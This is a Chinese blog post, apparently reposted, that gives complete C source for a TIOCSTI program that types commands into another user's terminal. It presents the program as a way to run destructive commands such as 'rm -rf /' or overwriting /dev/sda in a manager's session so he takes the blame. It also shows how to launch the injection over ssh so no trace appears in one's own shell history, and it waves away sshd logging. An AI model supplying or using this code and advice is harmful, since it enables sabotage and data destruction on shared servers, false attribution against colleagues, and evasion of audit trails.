在别人的终端上执行Linux命令

你想偷偷摸摸干点不好的事吗?

我的意思是,你干点坏事,比如把机器给halt,比重要文件删了,然后让人觉得这是别人干的,说白了,就是嫁祸于人,特别是经理,你想吗?

本文我将提供一个比较low的偏门技巧。


很多情况下,我们都用root登录一台服务器,并且不止一个人以root登录,像这样:
在这里插入图片描述
可以看到分别打开了两个tty终端:
在这里插入图片描述
我们希望在别人打开的其它终端中执行一些可怕的命令,比如 “rm -rf /”“echo aaa >/dev/sda” … 当有人查起来,趁着程序还在内存中,你可以说, “不是我干的啊,是经理干的啊,不信,你去看看经理终端的history!”

嗯!

好了,现在,我希望在pts/1上输入一个命令,让它在pts/0上执行。效果是这样子的:
在这里插入图片描述
你可能觉得还需要考虑如何隐藏掉下面的history:

    7  ./a.out /dev/pts/0 pwd

简单,直接在另一台你自己的机器上搞呗:

ssh root@192.168.56.110 "/root/a.out /dev/pts/0 'echo 经理的皮鞋不会胖'"

你看,干干净净:
在这里插入图片描述

如何做到的呢?

秘密就在a.out中了。

这是一个非常简单的程序,代码如下:

#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>

int main(int argc, char **argv)
{
  char tty[16] = {0};
  char cmd[64] = {0};
  char tmp[2] = {0};
  int len, i;
  int fd;

  strncpy(tty, argv[1], strlen(argv[1]));
  strncpy(cmd, argv[2], strlen(argv[2]));
  len = strlen(cmd);
  fd = open(tty, O_RDWR);

  for (i = 0; i < len; i++) {
    sprintf(tmp, "%c ", cmd[i]);
    ioctl(fd, TIOCSTI, tmp);
  }
  ioctl(fd, TIOCSTI, "\n ");
}

当然,你可以 替别人(特别是经理) 执行任何命令,毕竟你们都是root嘛…

还不赶紧去试试?


开玩笑了,这篇文章其实没有什么技术含量,你只要知道TIOCSTI这个command就能写出这程序,这一点我在很久之前的文章里就有说过:
https://blog.csdn.net/dog250/article/details/5692612

所以说,也就不要纠结这程序在没有root的时候没有用了…没有root给你给终端你也干不了什么坏事,所谓的坏事就是大家都有root的情况相互甩锅,抵赖。

另外,也不要总想着通过配置sshd来记录ssh远程执行的命令从而缉拿真正的捣乱分子,只是玩玩儿,何必什么事都当真去较真儿呢?


浙江温州皮鞋湿,下雨进水不会胖。

原文链接: https://blog.csdn.net/dog250/article/details/103928192

欢迎关注

微信关注下方公众号,第一时间获取干货硬货;公众号内回复【pdf】免费获取数百本计算机经典书籍;

也有高质量的技术群,里面有嵌入式、搜广推等BAT大佬

    在别人的终端上执行Linux命令

原创文章受到原创版权保护。转载请注明出处:https://www.ccppcoding.com/archives/406141

非原创文章文中已经注明原地址,如有侵权,联系删除

关注公众号【高性能架构探索】,第一时间获取最新文章

转载文章受原作者版权保护。转载请注明原作者出处!

(0)
上一篇 2023年4月26日 上午9:38
下一篇 2023年4月26日 上午9:38

相关推荐